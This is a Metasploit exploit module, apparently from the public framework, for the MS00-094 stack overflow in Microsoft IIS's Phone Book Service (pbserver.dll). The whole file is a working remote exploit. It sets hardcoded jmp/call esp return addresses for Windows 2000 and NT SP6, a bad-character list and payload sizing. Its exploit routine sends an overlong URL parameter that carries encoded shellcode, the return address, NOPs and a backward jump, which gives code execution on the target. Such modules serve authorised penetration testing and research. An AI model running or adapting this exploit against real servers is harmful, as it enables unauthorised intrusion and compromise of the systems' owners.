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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS00-094 Microsoft IIS Phone Book Service Overflow',
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        'Description' => %q{
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          This is an exploit for the Phone Book Service /pbserver/pbserver.dll
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          described in MS00-094. By sending an overly long URL argument
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          for phone book updates, it is possible to overwrite the stack. This
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          module has only been tested against Windows 2000 SP1.
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        },
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        'Author' => [ 'aushack' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2000-1089' ],
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          [ 'OSVDB', '463' ],
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          [ 'BID', '2048' ],
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          [ 'MSB', 'MS00-094' ],
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        ],
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        'Privileged' => false,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 896,
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          'BadChars' => "\x00\x0a\x0d\x20%&=?",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
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          ['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
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          ['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
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        ],
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        'DisclosureDate' => '2000-12-04',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
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      ]
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    )
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  end
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  def check
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    print_status("Requesting the vulnerable ISAPI path...")
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    res = send_request_raw({
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      'uri' => normalize_uri(datastore['URL'])
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    }, 5)
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    if (res and res.code == 400)
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    print_status("Sending overflow...")
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    res = send_request_raw({
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      'uri' => normalize_uri(datastore['URL']) + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
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    }, 5)
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    handler
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  end
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end
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